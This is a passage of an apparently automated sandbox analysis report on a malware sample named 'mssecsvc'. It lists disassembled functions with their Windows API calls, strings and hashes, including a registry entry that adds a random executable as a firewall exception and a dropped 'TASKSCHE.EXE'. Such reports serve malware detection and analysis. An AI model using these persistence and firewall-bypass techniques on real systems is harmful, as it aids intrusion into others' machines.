c12750 GetVersionExA call c12750 call c13358 call c14178 456->460 457->458 461 c142f2-c14310 Sleep ResetEvent 458->461 462 c142eb 458->462 459->452 473 c14170 460->473 474 c14195-c141a5 call c13358 460->474 461->439 462->461 475 c14192-c14194 473->475 476 c14172-c1418c wsprintfA 473->476 480 c141c3-c141ca 474->480 481 c141a7-c141bd CreateThread CloseHandle 474->481 475->474 476->475 478 c1418e 476->478 478->475 482 c141d0-c141eb 480->482 481->480 484 c14210-c14214 482->484 485 c141ed-c141f4 482->485 484->459 486 c1421a-c1421c 484->486 485->484 487 c141f6-c14207 GetTickCount 485->487 489 c1421e-c14236 486->489 487->484 488 c14209 487->488 488->484 490 c14238 489->490 491 c1423b-c14243 489->491 490->491 491->489 492 c14245 491->492 493 c1424b-c1424f 492->493 494 c14261-c14263 493->494 495 c14251-c14258 call c12f08 493->495 496 c14265-c1426f 494->496 495->459 501 c1425a 495->501 498 c14274-c14282 call c16541 call c1655b 496->498 498->482 506 c14288-c14292 Sleep 498->506 501->496 503 c1425c-c1425f 501->503 503->493 506->498 507 c14294-c142a5 GetTickCount 506->507 507->482 508 c142ab-c142b2 507->508 508->459 508->482
                      APIs
                      • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,00000104), ref: 00C13CA1
                      • GetProcAddress.KERNEL32(00000000,00000002), ref: 00C13CD4
                      • GetProcAddress.KERNEL32(00000000,00C13D41), ref: 00C13D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C13D5F
                      • GetTickCount.KERNEL32 ref: 00C13D93
                      • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C16EF6,00000000,00000000,00000000,00000000), ref: 00C13E65
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 00C13EE2
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • ADVAPI32.DLL, xrefs: 00C13D5E
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13CA0, 00C13D06, 00C13D16, 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 1749273276-2179058218
                      • Opcode ID: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                      • Instruction ID: e438efde1ece74c324f320e7e423cba415ffe4c2c4a6faa676d788a303b68216
                      • Opcode Fuzzy Hash: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                      • Instruction Fuzzy Hash: 98022771408288BFEB259F24CC0ABEA7BACEF42314F044559EC599F081D7F45F86A7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3CC2 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 432libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(7FEA3CBA), ref: 7FEA3CC2
                      • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                      • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                      • GetTickCount.KERNEL32 ref: 7FEA3D93
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3D16, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • ADVAPI32.DLL, xrefs: 7FEA3D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 2837544101-3895273077
                      • Opcode ID: 5b48797bfded511fe3541d43c5fd4cc9561b065424dfc698fabc9acd851576a7
                      • Instruction ID: b4b3212d39e947ac5d9392814a2c7224f35c85923ea667b823aff5088932c5b3
                      • Opcode Fuzzy Hash: 5b48797bfded511fe3541d43c5fd4cc9561b065424dfc698fabc9acd851576a7
                      • Instruction Fuzzy Hash: 45E11371519348BFEB229F708C4ABFA7BACEF41304F004559EC4A9E081D6F66F059762
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13CC2 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 432libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(00C13CBA), ref: 00C13CC2
                      • GetProcAddress.KERNEL32(00000000,00000002), ref: 00C13CD4
                      • GetProcAddress.KERNEL32(00000000,00C13D41), ref: 00C13D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C13D5F
                      • GetTickCount.KERNEL32 ref: 00C13D93
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • ADVAPI32.DLL, xrefs: 00C13D5E
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13D16, 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 2837544101-2179058218
                      • Opcode ID: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                      • Instruction ID: 2c489729448fcb45afa20d22bbb5de7ec3965dbaaf17217f97bfb8dac01601fd
                      • Opcode Fuzzy Hash: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                      • Instruction Fuzzy Hash: FAE13771408288BFEB259F20CC0ABEA7BACEF42304F044559EC598E0C2D6F45F85E7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3CF0 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 409COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(7FEA3CE5), ref: 7FEA3CF0
                      • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,00000104), ref: 7FEA3D07
                        • Part of subcall function 7FEA3D1F: lstrcat.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,7FEA3D12), ref: 7FEA3D20
                        • Part of subcall function 7FEA3D1F: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                        • Part of subcall function 7FEA3D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                        • Part of subcall function 7FEA3D1F: GetTickCount.KERNEL32 ref: 7FEA3D93
                        • Part of subcall function 7FEA3D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3D06, 7FEA3D16, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • ADVAPI32.DLL, xrefs: 7FEA3D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 215653160-3895273077
                      • Opcode ID: 260c0d83971146764b612a54da98fff840ddc31a6bb3a69eed28180f54add843
                      • Instruction ID: 7541589ca8aef85322091197c42534de99d7bca435932005a89768fd23254656
                      • Opcode Fuzzy Hash: 260c0d83971146764b612a54da98fff840ddc31a6bb3a69eed28180f54add843
                      • Instruction Fuzzy Hash: 4CE1F171409348BFEB229F708C4ABFA7BACEF42304F004559EC4A9E091D6F66F0597A1
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13CF0 Relevance: 44.2, APIs: 20, Strings: 5, Instructions: 409COMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleA.KERNEL32(00C13CE5), ref: 00C13CF0
                      • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,00000104), ref: 00C13D07
                        • Part of subcall function 00C13D1F: lstrcat.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,00C13D12), ref: 00C13D20
                        • Part of subcall function 00C13D1F: GetProcAddress.KERNEL32(00000000,00C13D41), ref: 00C13D4C
                        • Part of subcall function 00C13D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C13D5F
                        • Part of subcall function 00C13D1F: GetTickCount.KERNEL32 ref: 00C13D93
                        • Part of subcall function 00C13D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C16EF6,00000000,00000000,00000000,00000000), ref: 00C13E65
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • ADVAPI32.DLL, xrefs: 00C13D5E
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13D06, 00C13D16, 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 215653160-2179058218
                      • Opcode ID: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                      • Instruction ID: 6a9ccb7f195f785d754d51542586cdef9c5a606482c74daf398b42137ec2173a
                      • Opcode Fuzzy Hash: cd28a5bb51607502b6a1d28e904626137af5b7f109cbf1ae294eaab79654ac09
                      • Instruction Fuzzy Hash: E7E11671508288BFEB259F64CC0ABEE7B6CEF42304F044149EC598E082D6F45F86E7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3D1F Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 389stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcat.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,7FEA3D12), ref: 7FEA3D20
                        • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                        • Part of subcall function 7FEA3D36: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                        • Part of subcall function 7FEA3D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                        • Part of subcall function 7FEA3D36: GetTickCount.KERNEL32 ref: 7FEA3D93
                        • Part of subcall function 7FEA3D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3D1F, 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • ADVAPI32.DLL, xrefs: 7FEA3D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 2038497427-3895273077
                      • Opcode ID: 9a3d42354aede4d92b231a7e1a08d8f1ff67a071c39a48690dfdf21ca6a4930c
                      • Instruction ID: aa1c8551e8f76fbb525208f0bea2f920101e632125f5267fb1ed65396364aa08
                      • Opcode Fuzzy Hash: 9a3d42354aede4d92b231a7e1a08d8f1ff67a071c39a48690dfdf21ca6a4930c
                      • Instruction Fuzzy Hash: A2E1F071419348BFEB229F748C4ABFA7BACEF42304F004559E84A9E081DAF66F059765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13D1F Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 389stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrcat.KERNEL32(C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,00C13D12), ref: 00C13D20
                        • Part of subcall function 00C13D36: LoadLibraryA.KERNEL32(00C13D2B), ref: 00C13D36
                        • Part of subcall function 00C13D36: GetProcAddress.KERNEL32(00000000,00C13D41), ref: 00C13D4C
                        • Part of subcall function 00C13D36: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C13D5F
                        • Part of subcall function 00C13D36: GetTickCount.KERNEL32 ref: 00C13D93
                        • Part of subcall function 00C13D36: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C16EF6,00000000,00000000,00000000,00000000), ref: 00C13E65
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • ADVAPI32.DLL, xrefs: 00C13D5E
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13D1F, 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$AddressCountInformationProcTickVolumelstrcat
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 2038497427-2179058218
                      • Opcode ID: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                      • Instruction ID: af567f379ff5dea1044de0b1db873ffdade6fdf0294ce729df0894974aa49ea0
                      • Opcode Fuzzy Hash: 5a76be44ed4f92b9dccb11bf418610a86d6d8c7d9316cc10d01e71e8a6162f38
                      • Instruction Fuzzy Hash: CDE11471504288BFEB25AF64CC0ABEA7BACEF42304F044549EC598E082D6F45F85E7A5
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3D36 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 379libraryCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(7FEA3D2B), ref: 7FEA3D36
                        • Part of subcall function 7FEA3D4B: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                        • Part of subcall function 7FEA3D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                        • Part of subcall function 7FEA3D4B: GetTickCount.KERNEL32 ref: 7FEA3D93
                        • Part of subcall function 7FEA3D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                      Strings
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 7FEA3EF6, 7FEA3F08
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 7FEA3EDF, 7FEA3EF4, 7FEA3F0B, 7FEA4195, 7FEA41DB
                      • ADVAPI32.DLL, xrefs: 7FEA3D5E
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 7FEA3F0C
                      • \DEVICE\AFD\ENDPOINT, xrefs: 7FEA41DA
                      Memory Dump Source
                      • Source File: 00000004.00000002.721231763.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List$\DEVICE\AFD\ENDPOINT
                      • API String ID: 3734769084-3895273077
                      • Opcode ID: fe378de023044d5e93c1fdb9f401057012e9a432939cf19daad1b95bd79d3ac1
                      • Instruction ID: 04a7c8116a9fb35f71bbffa2808c6274a5c5ffd0f068440cbef2dd7623ef1827
                      • Opcode Fuzzy Hash: fe378de023044d5e93c1fdb9f401057012e9a432939cf19daad1b95bd79d3ac1
                      • Instruction Fuzzy Hash: 9DD10071419348BFEB229F748C4ABFA7BACEF41304F004519E84A9E091DBF66F059765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 00C13D36 Relevance: 42.4, APIs: 19, Strings: 5, Instructions: 379libraryCOMMON
                      Download Yara Rule
                      APIs
                      • LoadLibraryA.KERNEL32(00C13D2B), ref: 00C13D36
                        • Part of subcall function 00C13D4B: GetProcAddress.KERNEL32(00000000,00C13D41), ref: 00C13D4C
                        • Part of subcall function 00C13D4B: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00C13D5F
                        • Part of subcall function 00C13D4B: GetTickCount.KERNEL32 ref: 00C13D93
                        • Part of subcall function 00C13D4B: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,00C16EF6,00000000,00000000,00000000,00000000), ref: 00C13E65
                      Strings
                      • SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List, xrefs: 00C13F0C
                      • C:\WINDOWS\TASKSCHE.EXE, xrefs: 00C141DA
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1, xrefs: 00C13EF6, 00C13F08
                      • ADVAPI32.DLL, xrefs: 00C13D5E
                      • C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe, xrefs: 00C13EDF, 00C13EF4, 00C13F0B, 00C14195, 00C141DB
                      Memory Dump Source
                      • Source File: 00000004.00000002.720023108.0000000000C10000.00000040.10000000.00040000.00000000.sdmp, Offset: 00C10000, based on PE: false
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_4_2_c10000_mssecsvc.jbxd
                      Yara matches
                      Similarity
                      • API ID: LibraryLoad$AddressCountInformationProcTickVolume
                      • String ID: ADVAPI32.DLL$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe$C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe:*:enabled:@shell32.dll,-1$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                      • API String ID: 3734769084-2179058218
                      • Opcode ID: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                      • Instruction ID: ad58eaaa5e082bdc1cd4f705fa40a0fd32b4a62afde956b68b4385e10246b437
                      • Opcode Fuzzy Hash: 6ab2b3c950b056d37b1ed1d631e5db56a4483ae6f253cbb068636a664c233e13
                      • Instruction Fuzzy Hash: 15D10271514288BFEB25AF64CC0ABEE7BACEF42304F040549EC598E082D6F45F85E765
                      Uniqueness

                      Uniqueness Score: -1.00%

                      Function 7FEA3D4B Relevance: 40.6, APIs: 18, Strings: 5, Instructions: 386librarythreadnetworkCOMMON
                      Download Yara Rule
                      APIs
                      • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                      • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                      • GetTickCount.KERNEL32 ref: 7FEA3D93
                      • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                      • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\cuWUQbrckYdLTbPVoRAEnGHUViIitSdzqloqwKUD\zeIzUqHjyvleBOHGlxHLj.exe,000000C8), ref: 7FEA3EE2
                      • wsprintfA.USER32 ref: 7FEA3EF7
                      • CreateThread.KERNEL32(00000000,00000000,7FEA3691,00000000,00000000), ref: 7FEA3F40
                      • CloseHandle.KERNEL32(?,D8FBBC76), ref: 7FEA3F49
                      • CreateThread.KERNEL32(00000000,00000000,Function_00003888,00000000,00000000), ref: 7FEA3FE9
                      • CloseHandle.KERNEL32(?,00000000), ref: 7FEA3FF2
